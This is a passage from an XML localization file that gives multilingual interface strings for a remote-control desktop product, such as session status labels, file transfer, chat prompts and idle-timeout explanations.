<de>Netzwerkgeschwindigkeit anpassen</de>
<es>Ajustar velocidad de la red</es>
<fr>Ajustez la vitesse du réseau</fr>
<it>Regola velocità di rete</it>
<ru>Настроить скорость сети</ru>
<ja>ネットワーク速度を調節</ja>
<zh>调整网速</zh>
<ko>네트워크 속도 조정</ko>
<en-gb>Adjust network speed</en-gb>
<hu>Hálózat sebességének beállítása</hu>
<pt-br>Ajustar velocidade da rede</pt-br>
<nl>Netwerksnelheid aanpassen</nl>
</msg>
<msg name="FXFER">
<en>Start File Manager</en>
<de>Dateimanager starten</de>
<es>Iniciar Gestor de archivos</es>
<fr>Démarre le transfert de fichier</fr>
<it>Avvia Gestione file</it>
<ru>Запустить диспетчер файлов</ru>
<ja>ファイル管理を起動</ja>
<zh>启动文件管理器</zh>
<ko>파일 관리자 시작</ko>
<en-gb>Start File Manager</en-gb>
<hu>Fájlkezelő indítása</hu>
<pt-br>Iniciar Gerenciador de arquivos</pt-br>
<nl>Bestandsbeheer starten</nl>
</msg>
<msg name="RFSDRIVEMAP">
<en>Connect local drives to the remote computer</en>
<de>Verbindet lokale Laufwerke mit dem Ferncomputer</de>
<es>Conectar unidades locales al ordenador remoto</es>
<fr>Connecter des disques locaux à l’ordinateur distant</fr>
<it>Connetti le unità locali al computer remoto</it>
<ru>Подключить диски</ru>
<ja>ローカル ドライブをリモートコンピュータに接続</ja>
<ko>원격 컴퓨터에 로컬 드라이브를 연결합니다</ko>
<zh>将本地驱动器连接到远程计算机</zh>
<hu>Helyi meghajtók csatlakoztatása a távoli számítógéphez</hu>
<pt-br>Conectar unidades locais ao computador remoto</pt-br>
<nl>Lokale stations koppelen aan externe computer</nl>
</msg>
<msg name="SOUNDTRANSFER">
<en>Transfer sound from the host computer</en>
<de>Ton vom Host-Computer übertragen</de>
<es>Transferir sonido desde el ordenador host</es>
<fr>Transférer le son depuis l'ordinateur hôte</fr>
<it>Trasferimento audio dal computer host</it>
<ru>Передать звук с хост-компьютера</ru>
<ja>ホスト コンピュータから音を転送する</ja>
<zh>从主机传输声音</zh>
<ko>호스트 컴퓨터에서 사운드 전송</ko>
<hu>Hang átvitele a gazdagépről</hu>
<pt-br>Transferir som do computador host</pt-br>
<nl>Geluid van de hostcomputer overdragen</nl>
</msg>
<msg name="TERMSRV">
<en>Terminal Server Sessions</en>
<de>Terminal Server Sitzung</de>
<es>Sesiones del server terminal</es>
<fr>Session Terminal Serveur</fr>
<it>Sessioni Terminal Server</it>
<ru>Сеансы сервера терминалов</ru>
<ja>ターミナル サーバー セッション</ja>
<zh>终端服务器会话</zh>
<ko>터미널 서버 세션</ko>
<en-gb>Terminal Server Sessions</en-gb>
<hu>Terminálkiszolgáló munkamenetek</hu>
<pt-br>Sessões do Terminal server</pt-br>
<nl>Terminalserversessies</nl>
</msg>
<msg name="MULTIMONITOR">
<en>Multiple Monitors</en>
<de>Mehrere Monitore</de>
<es>Varios monitores</es>
<fr>Plusieurs écrans</fr>
<it>Monitor multipli</it>
<ru>Несколько мониторов</ru>
<ja>複数 モニタ</ja>
<zh>多显示器</zh>
<ko>다중 모니터</ko>
<en-gb>Multiple Monitors</en-gb>
<hu>Több monitor</hu>
<pt-br>Vários monitores</pt-br>
<nl>Meerdere beeldschermen</nl>
</msg>
<msg name="ACTIVE">
<en>Active</en>
<de>Aktiv</de>
<es>Activo</es>
<fr>Actif</fr>
<it>Attivo</it>
<ru>Активный</ru>
<ja>アクティブ</ja>
<zh>激活</zh>
<ko>사용 중</ko>
<en-gb>Active</en-gb>
<hu>Aktív</hu>
<pt-br>Ativo</pt-br>
<nl>Geactiveerd</nl>
</msg>
<msg name="CONNECTED">
<en>Connected</en>
<de>Verbunden</de>
<es>Conectado</es>
<fr>Connecté</fr>
<it>Connesso</it>
<ru>Подключен</ru>
<ja>接続されました</ja>
<zh>已连接</zh>
<ko>연결됨</ko>
<en-gb>Connected</en-gb>
<hu>Csatlakoztatva</hu>
<pt-br>Conectado</pt-br>
<nl>Verbonden</nl>
</msg>
<msg name="CONNECTING">
<en>Connecting</en>
<de>Verbinden</de>
<es>Conectando</es>
<fr>En connexion</fr>
<it>Connessione</it>
<ru>Подключение</ru>
<ja>接続しています</ja>
<zh>正在连接</zh>
<ko>연결 중</ko>
<en-gb>Connecting</en-gb>
<hu>Csatlakoztatás</hu>
<pt-br>Conectando</pt-br>
<nl>Bezig met verbinden</nl>
</msg>
<msg name="SHADOWING">
<en>Shadowing</en>
<de>Spiegeln</de>
<es>Ensombreciendo</es>
<fr>Mirroir</fr>
<it>Shadowing</it>
<ru>Теневой</ru>
<ja>シャドウしています</ja>
<zh>阴影操作</zh>
<ko>새도잉</ko>
<en-gb>Shadowing</en-gb>
<hu>Árnyékolás</hu>
<pt-br>Sombreamento</pt-br>
<nl>Schaduwkopie maken</nl>
</msg>
<msg name="DISCONNECTED">
<en>Disconnected</en>
<de>Getrennt</de>
<es>Desconectado</es>
<fr>Déconnecté</fr>
<it>Disconnesso</it>
<ru>Отключен</ru>
<ja>切断されました</ja>
<zh>已断开连接</zh>
<ko>연결이 해제됨</ko>
<en-gb>Disconnected</en-gb>
<hu>Kapcsolat megszakítva</hu>
<pt-br>Desconectado</pt-br>
<nl>Verbinding verbroken</nl>
</msg>
<msg name="IDLE">
<en>Idle</en>
<de>Idle</de>
<es>En reposo</es>
<fr>Occupé</fr>
<it>Inattivo</it>
<ru>Простой</ru>
<ja>アイドル</ja>
<zh>空闲</zh>
<ko>유휴 상태</ko>
<en-gb>Idle</en-gb>
<hu>Üresjárat</hu>
<pt-br>Ocioso</pt-br>
<nl>Niet actief</nl>
</msg>
<msg name="CONSOLE">
<en>Physical Console</en>
<de>Vollbild Console</de>
<es>Consola físicas</es>
<fr>Cosole plein écran</fr>
<it>Console fisica</it>
<ru>Физическая консоль</ru>
<ja>物理コンソール</ja>
<zh>物理控制台</zh>
<ko>실제 콘솔</ko>
<en-gb>Physical Console</en-gb>
<hu>Fizikai konzol</hu>
<pt-br>Console físico</pt-br>
<nl>Fysieke console</nl>
</msg>
<msg name="NOUSERLOGGEDON">
<en>No user logged on</en>
<de>Es ist kein Benutzer angemeldet</de>
<es>Ningún usuario ha iniciado sesión</es>
<fr>Aucun Utilisateur logguer</fr>
<it>Nessun utente connesso</it>
<ru>Нет зарегистрированных пользователей</ru>
<ja>ログインしているユーザはいません</ja>
<zh>没有用户登录</zh>
<ko>로그온한 사용자가 없습니다</ko>
<en-gb>No user logged on</en-gb>
<hu>Nincs bejelentkezett felhasználó</hu>
<pt-br>Não há usuário conectado</pt-br>
<nl>Geen gebruiker aangemeld</nl>
</msg>
<msg name="SESSIONSWITCH">
<en>Switching sessions...</en>
<de>Sitzung wird umgeschaltet...</de>
<es>Cambiando de sesión...</es>
<fr>Changement de session...</fr>
<it>Cambiamento di sessione...</it>
<ru>Переключение сеансов...</ru>
<ja>セッションを切り替えています...</ja>
<zh>正在切换会话...</zh>
<ko>세션 전환 중...</ko>
<en-gb>Switching sessions...</en-gb>
<hu>Munkamenetek váltása...</hu>
<pt-br>Alternando sessões...</pt-br>
<nl>Bezig met overschakelen tussen sessies...</nl>
</msg>
<msg name="PRINTINGPAGE">
<en>Printing Page</en>
<de>Seite wird drucken</de>
<es>Imprimiendo página</es>
<fr>Page en cours d'impresion</fr>
<it>Stampa della pagina</it>
<ru>Печать страницы</ru>
<ja>ページを印刷しています</ja>
<zh>正在打印页面</zh>
<ko>페이지 인쇄 중</ko>
<en-gb>Printing Page</en-gb>
<hu>Oldal nyomtatása</hu>
<pt-br>Imprimindo página</pt-br>
<nl>Bezig met afdrukken van pagina</nl>
</msg>
<msg name="INPUTBLOCKED">
<en>Your input is being blocked.</en>
<de>Eingabe gesperrt.</de>
<es>Su entrada ha sido bloqueada.</es>
<fr>Votre entrée est bloquée.</fr>
<it>L'input è stato bloccato.</it>
<ru>Ввод данных блокируется.</ru>
<ja>入力がブロックされてます</ja>
<ko>입력이 차단되고 있습니다.</ko>
<zh>您的输入被锁定。</zh>
<hu>Az Ön beviteli eszközei blokkolva vannak.</hu>
<pt-br>Sua entrada está sendo bloqueada.</pt-br>
<nl>Uw invoer wordt geblokkeerd.</nl>
</msg>
<msg name="TRANSFCLIPB">
<en>Transferring Clipboard</en>
<de>Zwischenablage wird übertragen</de>
<es>Transfiriendo portapapeles</es>
<fr>En transfert du presse-papier</fr>
<it>Trasferimento degli Appunti</it>
<ru>Передача содержимого буфера обмена</ru>
<ja>クリップボードを転送しています</ja>
<zh>正在传递剪贴板</zh>
<ko>클립보드 전송 중</ko>
<en-gb>Transferring Clipboard</en-gb>
<hu>Vágólap átvitele</hu>
<pt-br>Transferindo área de transferência</pt-br>
<nl>Bezig met overdragen van Klembord</nl>
</msg>
<msg name="PROGRESS.DOWN">
<en>Downloading</en>
<de>Downloaden</de>
<es>Descargando</es>
<fr>Downloading</fr>
<it>Download</it>
<ru>Загрузка</ru>
<ja>ダウンロード中です</ja>
<zh>正在下载</zh>
<ko>다운로드 중</ko>
<en-gb>Downloading</en-gb>
<hu>Letöltés</hu>
<pt-br>Baixando</pt-br>
<nl>Bezig met downloaden</nl>
</msg>
<msg name="PROGRESS.DOWN.TOTAL">
<en>File</en>
<de>Datei</de>
<es>Archivo</es>
<fr>Fichier</fr>
<it>File</it>
<ru>Файл</ru>
<ja>ファイル</ja>
<zh>文件</zh>
<ko>파일</ko>
<en-gb>File</en-gb>
<hu>Fájl</hu>
<pt-br>Arquivo</pt-br>
<nl>Bestand</nl>
</msg>
<msg name="PROGRESS.UP">
<en>Uploading</en>
<de>Uploaden</de>
<es>Subiendo</es>
<fr>Uploading</fr>
<it>Upload</it>
<ru>Отгрузка</ru>
<ja>アップロード中です</ja>
<zh>正在上载</zh>
<ko>업로드 중</ko>
<en-gb>Uploading</en-gb>
<hu>Feltöltés</hu>
<pt-br>Carregando</pt-br>
<nl>Bezig met uploaden</nl>
</msg>
<msg name="PROGRESS.UP.TOTAL">
<en>File</en>
<de>Datei</de>
<es>Archivo</es>
<fr>Fichier</fr>
<it>File</it>
<ru>Файл</ru>
<ja>ファイル</ja>
<zh>文件</zh>
<ko>파일</ko>
<en-gb>File</en-gb>
<hu>Fájl</hu>
<pt-br>Arquivo</pt-br>
<nl>Bestand</nl>
</msg>
<msg name="OPENCHAT">
<en>Open Chat</en>
<de>Dialog öffnen</de>
<es>Conversación abierta</es>
<fr>Ouvrir le chat</fr>
<it>Apri chat</it>
<ru>Открыть чат</ru>
<ja>チャットを開く</ja>
<zh>打开“聊天”功能</zh>
<ko>대화 열기</ko>
<en-gb>Open Chat</en-gb>
<hu>Csevegés megnyitása</hu>
<pt-br>Abrir bate-papo</pt-br>
<nl>Chatsessie openen</nl>
</msg>
<msg name="CHAT">
<en>Chat:</en>
<de>Dialog:</de>
<es>Conversación:</es>
<fr>Chat:</fr>
<it>Chat:</it>
<ru>Чат:</ru>
<ja>チャット :</ja>
<zh>聊天:</zh>
<ko>대화:</ko>
<en-gb>Chat:</en-gb>
<hu>Csevegés:</hu>
<pt-br>Bate-papo:</pt-br>
<nl>Chat:</nl>
</msg>
<msg name="CHAT.INITIAL">
<en>Type your message here and press Enter to send it.</en>
<de>Geben Sie Ihre Nachricht hier ein und drücken Sie die Eingabetaste.</de>
<es>Escriba aquí su mensaje y pulse Enter para enviarlo.</es>
<fr>Ecrivez votre message ici et pressez Entrer pour l'envoyer.</fr>
<it>Digitare il messaggio e premere Invio per inviarlo.</it>
<ru>Введите здесь сообщение и нажмите клавишу Enter, чтобы его отправить.</ru>
<ja>ここにメッセージを入力し、Enter キーを押すと送信されます。</ja>
<zh>在此处键入您的信息,然后按 Enter 键发送。</zh>
<ko>여기에 메시지를 입력한 후 Enter 키를 눌러 보냅니다.</ko>
<en-gb>Type your message here and press Enter to send it.</en-gb>
<hu>Írja be ide üzenetét, és nyomjon Entert annak elküldéséhez.</hu>
<pt-br>Digite sua mensagem aqui e pressione Enter para enviá-la.</pt-br>
<nl>Typ hier de tekst van uw bericht en druk op de Enter-toets om het bericht te verzenden.</nl>
</msg>
<msg name="CONNSTATUSDLG">
<en>View Connection Status dialog</en>
<de>Statusdialog der Verbindung anzeigen</de>
<es>Ver diálogo de Estado de la conexión</es>
<fr>Voir le dialogue du statut de la connexion</fr>
<it>Finestra di dialogo Visualizza stato della connessione</it>
<ru>Вывести диалоговое окно "Состояние подключения"</ru>
<ja>接続ステータス ダイアログを表示</ja>
<zh>查看“连接状态”对话框</zh>
<ko>연결 상태 대화 상자 보기</ko>
<en-gb>View Connection Status dialogue</en-gb>
<hu>Kapcsolat állapota párbeszédablak megtekintése</hu>
<pt-br>Caixa de diálogo Exibir status da conexão</pt-br>
<nl>Dialoogvenster Verbindingsstatus weergeven</nl>
</msg>
<msg name="CONNDLG.EXPLANATION1">
<en>To increase your connection speed, select a lower number from the Color Depth drop-down menu on the toolbar above.</en>
<de>Um die Geschwindigkeit der Verbindung zu erhöhen, wählen sie eine kleinere Farbtiefe im Auswahlfeld in der Symbolleiste.</de>
<es>Para aumentar la velocidad de la conexión, seleccione un número más bajo en el menú desplegable Profundidad de color en la barra de herramientas de arriba.</es>
<fr>Pour augmenter votre vitesse de connexion, choisissez un nombre inférieur de couleur d'affichage à partir du menu déroulant dans la barre d'outils ci-dessus.</fr>
<it>Per aumentare la velocità di connessione, selezionare un numero inferiore dal menu a discesa relativo all'intensità del colore sulla barra degli strumenti sopra visualizzata.</it>
<ru>Чтобы увеличить скорость соединения, на расположенной выше панели инструментов в раскрывающемся меню "Глубина цвета" выберите более низкое значение.</ru>
<ja>接続速度を上げるには、上のツールバーの [色深度] ドロップダウン メニューで低い数字を選択します。</ja>
<zh>要提高连接速度,请从上方工具栏的“色深”下拉式菜单中选择一个较小的数字。</zh>
<ko>연결 속도를 높이려면 위의 도구 모음에 있는 "색 농도" 드롭다운 메뉴에서 낮은 숫자를 선택하십시오.</ko>
<en-gb>To increase your connection speed, select a lower number from the Colour Depth drop-down menu on the toolbar above.</en-gb>
<hu>A kapcsolat sebességének növeléséhez válasszon egy alacsonyabb számot a színmélység legördülő menüből a fenti eszköztáron.</hu>
<pt-br>Para aumentar sua velocidade de conexão, selecione um número mais baixo no menu suspenso Profundidade de cor na barra de ferramentas acima.</pt-br>
<nl>Als u de snelheid van uw verbinding wilt verhogen, selecteert u op de werkbalk bovenaan in de vervolgkeuzelijst Kleurendiepte een lagere waarde.</nl>
</msg>
<msg name="CONNDLG.EXPLANATION2">
<en>To correct differences in screen size between your remote and local PCs, use the Resolution drop-down menu on the toolbar.
This can also be used to increase speed or correct any fuzziness in the remote desktop's display. To go to full-screen mode, click the Full Screen button.</en>
<de>Um Unterschiede in der Bildschirmgröße zwischen dem Fern- und dem lokalen Computer auszugleichen, verwenden Sie bitte die Auswahlliste für die Bildschirmauflösung in der Symbolleiste. Sie können damit auch die Anzeige beschleunigen bzw. eine unscharfe Anzeige des entfernten Bildschirms korrigieren. Für die Vollbildanzeige klicken Sie bitte auf die Schaltfläche „Vollbild“.</de>
<es>Para corregir las diferencias de tamaño de pantalla entre el ordenador remoto y el local, utilice el menú desplegable Resolución de la barra de herramientas.
Este menú también puede utilizarse para aumentar la velocidad o corregir cualquier problema en la visualización del escritorio remoto. Para ir a modo pantalla completa, haga clic en el botón Pantalla completa.</es>
<fr>Pour corriger les différences de tailles d'écrans entre vos ordinateurs distants et locaux, utilisez le menu déroulant "résolution" sur la barre d'outils. Il peut également être employé pour augmenter la vitesse ou pour corriger des problèmes de netteté de l'affichage du bureau distant. Pour passer en mode plein écran, cliquez sur le bouton plein écran.</fr>
<it>Per correggere le differenze di dimensione dello schermo tra il computer remoto e quello locale, utilizzare il menu a discesa Risoluzione corrispondente della barra degli strumenti. Ciò consente inoltre di aumentare la velocità o correggere eventuali sfocature nella visualizzazione del desktop remoto. Per passare alla modalità schermo intero, fare clic sul pulsante Schermo intero.</it>
<ru>Чтобы скорректировать разницу в размере экрана между удаленным и локальным компьютерами, воспользуйтесь раскрывающемся меню "Разрешение" на данной панели инструментов.
Это меню также можно использовать для увеличения скорости или коррекции размытости при отображении удаленного рабочего стола. Чтобы перейти в полноэкранный режим, щелкните кнопку "Во весь экран".</ru>
<ja>リモート コンピュータとローカル コンピュータの画面サイズの違いを修正するには、ツールバーの [解像度] ドロップダウン メニューを使用します。これを使用して速度を速くしたり、
リモート デスクトップの表示に不明瞭があった場合にそれを修正したりできます。全画面表示モードにするには、[全画面] ボタンをクリックします。 </ja>
<zh>要修正远程计算机与本地计算机之间的屏幕大小差异,请使用工具栏上的“分辨率”下拉式菜单。
也可以使用该菜单提高速率或修正远程桌面显示的颜色容差。要转到全屏模式,请单击“全屏”按钮。 </zh>
<ko>원격 PC와 로컬 PC 간에 다른 화면 크기를 수정하려면 도구 모음의 "해상도" 드롭다운 메뉴를 사용하십시오. 또한 이 메뉴를 사용하여 속도를 높이거나 원격 데스크톱 디스플레이에서 퍼지를 수정할 수 있습니다. 전체 화면 모드로 이동하려면 "전체 화면" 버튼을 클릭하십시오.</ko>
<en-gb>To correct differences in screen size between your remote and local PCs, use the Resolution drop-down menu on the toolbar.
This can also be used to increase speed or correct any fuzziness in the remote desktop's display. To go to full-screen mode, click the Full Screen button.</en-gb>
<hu>Az Ön távoli és helyi számítógépe közötti képernyőméret-különbségeket az eszköztár Felbontás legördülő menüjének segítségével helyesbítheti.
Ezt a sebesség növeléséhez, vagy a távoli asztal életlenségének helyesbítéséhez is fel lehet használni. Teljes képernyőre váltáshoz kattintson a Teljes képernyő gombra.</hu>
<pt-br>Para corrigir diferenças de tamanho de tela entre o computador remoto e o local, use o menu suspenso Resolução na barra de ferramentas. Ele também pode ser usado para aumentar a velocidade ou corrigir a nitidez do monitor do desktop remoto. Para passar para o modo de tela cheia, clique no botão tela inteira.</pt-br>
<nl>Als u de verschillen in beeldschermgrootte tussen uw externe en lokale computers wilt corrigeren, gebruikt u de vervolgkeuzelijst Resolutie op de werkbalk. U kunt deze ook gebruiken om de verbindingssnelheid te verhogen of om een eventuele wazige weergave van het bureaublad op de externe computer te corrigeren. Als u de sessie op een volledig scherm wilt weergeven, klikt u op de knop Volledig scherm.</nl>
</msg>
<msg os="macosx" name="CONNDLG.EXPLANATION2">
<en>To correct differences in screen size between your remote and local computers, use the Resolution drop-down menu on the toolbar.
This can also be used to increase speed or correct any fuzziness in the remote desktop's display. To go to full-screen mode, click the Full Screen button.</en>
<de>Um Unterschiede in der Bildschirmgröße zwischen dem Fern- und dem lokalen Computer auszugleichen, verwenden Sie bitte die Auswahlliste für die Bildschirmauflösung in der Symbolleiste. Sie können damit auch die Anzeige beschleunigen bzw. eine unscharfe Anzeige des entfernten Bildschirms korrigieren. Für die Vollbildanzeige klicken Sie bitte auf die Schaltfläche „Vollbild“.</de>
<es>
Para corregir las diferencias de tamaño de pantalla entre el ordenador remoto y el local, utilice el menú desplegable Resolución de la barra de herramientas.
Este menú también puede utilizarse para aumentar la velocidad o corregir cualquier problema en la visualización del escritorio remoto. Para ir a modo pantalla completa, haga clic en el botón Pantalla completa.
</es>
<fr>Pour corriger les différences de tailles d'écrans entre vos ordinateurs distants et locaux, utilisez le menu déroulant "résolution" sur la barre d'outils. Il peut également être employé pour augmenter la vitesse ou pour corriger des problèmes de netteté de l'affichage du bureau distant. Pour passer en mode plein écran, cliquez sur le bouton plein écran.</fr>
<it>Per correggere le differenze di dimensione dello schermo tra il computer remoto e quello locale, utilizzare il menu a discesa Risoluzione corrispondente della barra degli strumenti. Ciò consente inoltre di aumentare la velocità o correggere eventuali sfocature nella visualizzazione del desktop remoto. Per passare alla modalità schermo intero, fare clic sul pulsante Schermo intero.</it>
<ru> Чтобы скорректировать разницу в размере экрана между удаленным и локальным компьютерами, воспользуйтесь раскрывающемся меню "Разрешение" на данной панели инструментов.
Это меню также можно использовать для увеличения скорости или коррекции размытости при отображении удаленного рабочего стола. Чтобы перейти в полноэкранный режим, щелкните кнопку "Во весь экран".
</ru>
<ja>リモート コンピュータとローカル コンピュータの画面サイズの違いを修正するには、ツールバーの [解像度] ドロップダウン メニューを使用します。これを使用して速度を速くしたり、
リモート デスクトップの表示に不明瞭があった場合にそれを修正したりできます。全画面表示モードにするには、[全画面] ボタンをクリックします。 </ja>
<zh>要修正远程计算机与本地计算机之间的屏幕大小差异,请使用工具栏上的“分辨率”下拉式菜单。
也可以使用该菜单提高速率或修正远程桌面显示的颜色容差。要转到全屏模式,请单击“全屏”按钮。  </zh>
<ko>원격 PC와 로컬 PC 간에 다른 화면 크기를 수정하려면 도구 모음의 "해상도" 드롭다운 메뉴를 사용하십시오. 또한 이 메뉴를 사용하여 속도를 높이거나 원격 데스크톱 디스플레이에서 퍼지를 수정할 수 있습니다. 전체 화면 모드로 이동하려면 "전체 화면" 버튼을 클릭하십시오.</ko>
<en-gb>
To correct differences in screen size between your remote and local computers, use the Resolution drop-down menu on the toolbar.
This can also be used to increase speed or correct any fuzziness in the remote desktop's display. To go to full-screen mode, click the Full Screen button.
</en-gb>
<hu>
Az Ön távoli és helyi számítógépe közötti képernyőméret-különbségeket az eszköztár Felbontás legördülő menüjének segítségével helyesbítheti.
Ezt a sebesség növeléséhez, vagy a távoli asztal életlenségének helyesbítéséhez is fel lehet használni. Teljes képernyőre váltáshoz kattintson a Teljes képernyő gombra.
</hu>
<pt-br>Para corrigir diferenças de tamanho de tela entre o computador remoto e o local, use o menu suspenso Resolução na barra de ferramentas. Ele também pode ser usado para aumentar a velocidade ou corrigir a nitidez do monitor do desktop remoto. Para passar para o modo de tela cheia, clique no botão tela inteira.</pt-br>
<nl>Als u de verschillen in beeldschermgrootte tussen uw externe en lokale computers wilt corrigeren, gebruikt u de vervolgkeuzelijst Resolutie op de werkbalk. U kunt deze ook gebruiken om de verbindingssnelheid te verhogen of om een eventuele wazige weergave van het bureaublad op de externe computer te corrigeren. Als u de sessie op een volledig scherm wilt weergeven, klikt u op de knop Volledig scherm.</nl>
</msg>
<msg name="CONNDLG.IDLETIMEOUT.EXPLANATION">
<en>Your remote control session has automatically timed out due to inactivity.\n\n
To reconnect, click the Remote Control button on the navigation bar on the left  side of your browser window.\n\n
To set the amount of idle time allowed before a remote control session automatically ends, click Set Preferences on the Main Menu followed by Remote Control Settings. Under "Idle Time allowed", enter an amount of time.</en>
<de>Nach einer bestimmen Zeit ohne Aktivität wird die Fernsteuerung automatisch geschlossen.\n\n
Um die Verbindung wieder aufzunehmen klicken sie auf die Schaltfläche Fernsteuerung auf der linken Seite im Browserfenster.\n\n
Im Menü unter Einstellungen / Fernsteuerung können Sie bei "Zulässige Leerlaufzeit" die Zeit einstellen nach der die Fernsteuerung bei Inaktivität automatisch geschlossen wird.</de>
<es>La sesión de control remoto ha caducado automáticamente debido a la inactividad.\n\n
Para conectar de nuevo, haga clic en el botón Control Remoto de la barra de navegación situada en el lado izquierdo de la ventana del navegador.\n\n
Para establecer el tiempo de reposo permitido antes de finalizar automáticamente una sesión de control remoto, haga clic en Establecer preferencias en el menú principal y seleccione Configuración de Control Remoto. En "Tiempo de reposo permitido", introduzca una cantidad de tiempo.</es>
<fr>Votre session de connexion à distance est automatiquement échue en raison d'inactivité.\n\n
Pour rconnecter, cliquez sur le bouton Contrôle d'accès distant de sur la barre de navigation du côté gauche de la fenêtre de votre navigateur.\n\n
Pour déterminer la durée d'inactivité permise avant  qu'une session de contrôle d'accès distant se termine automatiquement, Cliquez sur Préférences sur le Menu Principal dans Contrôle d'Accès Distant. Sous "temps d'inactivité autorisé ", entrez une durée.</fr>
<it>Si è verificato il timeout della sessione di controllo remoto a causa dell'inattività.\n\n
Per riconnettersi, fare clic sul pulsante Controllo remoto sulla barra di spostamento sul lato sinistro della finestra del browser.\n\n
Per impostare la quantità di tempo di inattività consentito prima dell'interruzione automatica di una sessione di controllo remoto, fare clic su Preferenze nel menu principale e quindi su Impostazioni Controllo remoto. In "Tempo di inattività consentito" immettere la quantità di tempo.</it>
<ru>Сеанс удаленного управления автоматически отключен по таймауту из-за отсутствия активности.\n\n
Чтобы снова подключиться, щелкните кнопку "Удаленное управление" на навигационной панели в левой стороне экрана обозревателя.\n\n
Чтобы задать время разрешенного простоя, по истечении которого сеанс удаленного управления автоматически завершается, щелкните "Задать параметры" в главном меню, а затем выберите "Параметры удаленного управления". Под заголовком "Разрешенное время простоя" укажите количество времени.</ru>
<ja>リモート制御セッションは、非アクティブであったため自動的にタイムアウトしました。\n\n再接続する場合は、ブラウザ ウィンドウの左側のナビゲーション バーにある [リモート制御] ボタンをクリックしてください。リモート制御セッションが自動的に終了するまでに許容されるアイドル時間を設定するには、メイン メニューから [詳細の設定] をクリックし、[リモート制御の設定] を選択します。[許可されたアイドル時間] の下に時間を入力してください。</ja>
<zh>由于您的远程控制会话处于非活动状态,因此它已自动超时。\n\n
要重新连接,请单击浏览器窗口左侧导航栏上的“远程控制”按钮。\n\n
要设置远程控制会话自动结束之前允许的闲置时间量,请单击主菜单上的“设置首选项”,接着单击“远程控制设置”。在“允许的闲置时间”下,输入时间量。</zh>
<ko>원격 제어 세션을 사용하지 않아 자동으로 시간 초과되었습니다.\n\n 다시 연결하려면 브라우저 창 왼쪽에 있는 탐색 모음에서 "원격 제어" 버튼을 클릭합니다.\n\n 원격 제어 세션이 자동으로 종료되기 전까지 허용되는 유휴 시간을 설정하려면 "원격 제어 설정" 다음에 나오는 주 메뉴에서 "기본 설정 지정"을 클릭합니다. "허용되는 유휴 시간"에 시간을 입력합니다.</ko>
<en-gb>Your remote control session has automatically timed out due to inactivity.\n\n
To reconnect, click the Remote Control button on the navigation bar on the left  side of your browser window.\n\n
To set the amount of idle time allowed before a remote control session automatically ends, click Set Preferences on the Main Menu followed by Remote Control Settings. Under "Idle Time allowed", enter an amount of time.</en-gb>
<hu>Az Ön távvezérlési munkamenete időtúllépéssel automatikusan lejárt, tétlenség miatt.\n\n
Az újracsatlakoztatáshoz kattintson a Távvezérlés gombra a navigációs sávban, a böngésző ablakának bal oldalán.\n\n
A távvezérlési munkamenet automatikus lezárásáig megengedett üresjárati idő beállításához kattintson a Beállítások megadására a főmenüben, majd a Távvezérlő beállításokra. Az "Engedélyezett üresjárati idő" alatt adja meg az időhosszt.</hu>
<pt-br>Sua sessão de controle remoto expirou automaticamente por inatividade.\n\n
Para reconectar-se, clique no botão Controle remoto na barra de navegação do lado esquerdo da janela do navegador.\n\n
Para definir o tempo ocioso permitido antes do encerramento automático da sessão de controle remoto, clique em Definir preferências no Menu principal e em Configurações do controle remoto. Em "Tempo ocioso permitido", digite um tempo.</pt-br>
<nl>Tijdens uw sessie voor besturing op afstand is automatisch een time-out opgetreden omdat het systeem bepaalde tijd niet is gebruikt.\n\n     Als u opnieuw een verbinding wilt maken, klikt u links in uw browservenster op de navigatiebalk op de knop "Besturing op afstand".\n\n     Als u de periode wilt wijzigen voor de toegestane tijd niet-actief voordat een sessie voor besturing op afstand automatisch wordt beëindigd, kiest u in het hoofdmenu de optie "Voorkeurinstellingen instellen" en kiest u vervolgens de optie "Instellingen voor Besturing op afstand". Onder "Tijd niet-actief toegestaan" voert u dan de gewenste tijdsduur in.</nl>
</msg>
<msg brand="LMI" name="CONNDLG.IDLETIMEOUT.EXPLANATION">
<en>Your remote control session has automatically timed out due to inactivity.\n\n
To reconnect, click the Remote Control My PC button on the navigation bar on the left  side of your browser window.\n\n
To set the amount of idle time allowed before a remote control session automatically ends, click Set Preferences on the Main Menu followed by Remote Control Settings. Under "Idle Time allowed", enter an amount of time.</en>
<de>Nach einer bestimmen Zeit ohne Aktivität wird die Fernsteuerung automatisch geschlossen.\n\n
Um die Verbindung wieder aufzunehmen klicken sie auf die Schaltfläche Fernsteuerung auf der linken Seite im Browserfenster.\n\n
Im Menü unter Einstellungen / Fernsteuerung können Sie bei "Zulässige Leerlaufzeit" die Zeit einstellen nach der die Fernsteuerung bei Inaktivität automatisch geschlossen wird.</de>
<es>La sesión de control remoto ha caducado automáticamente debido a la inactividad.\n\n
Para conectar de nuevo, haga clic en el botón Control Remoto de la barra de navegación situada en el lado izquierdo de la ventana del navegador.\n\n
Para establecer el tiempo de reposo permitido antes de finalizar automáticamente una sesión de control remoto, haga clic en Establecer preferencias en el menú principal y seleccione Configuración de Control Remoto. En "Tiempo de reposo permitido", introduzca una cantidad de tiempo.</es>
<fr>Votre session de connexion à distance est automatiquement échue en raison d'inactivité.\n\n
Pour rconnecter, cliquez sur le bouton Contrôle d'accès distant de sur la barre de navigation du côté gauche de la fenêtre de votre navigateur.\n\n
Pour déterminer la durée d'inactivité permise avant  qu'une session de contrôle d'accès distant se termine automatiquement, Cliquez sur Préférences sur le Menu Principal dans Contrôle d'Accès Distant. Sous "temps d'inactivité autorisé ", entrez une durée.</fr>
<it>Si è verificato il timeout della sessione di controllo remoto a causa dell'inattività.\n\n
Per riconnettersi, fare clic sul pulsante Controllo remoto sulla barra di spostamento sul lato sinistro della finestra del browser.\n\n
Per impostare la quantità di tempo di inattività consentito prima dell'interruzione automatica di una sessione di controllo remoto, fare clic su Preferenze nel menu principale e quindi su Impostazioni Controllo remoto. In "Tempo di inattività consentito" immettere la quantità di tempo.</it>
<ru>Сеанс удаленного управления автоматически отключен по таймауту из-за отсутствия активности.\n\n
Чтобы снова подключиться, щелкните кнопку "Удаленное управление" на навигационной панели в левой стороне экрана обозревателя.\n\n
Чтобы задать время разрешенного простоя, по истечении которого сеанс удаленного управления автоматически завершается, щелкните "Задать параметры" в главном меню, а затем выберите "Параметры удаленного управления". Под заголовком "Разрешенное время простоя" укажите количество времени.</ru>
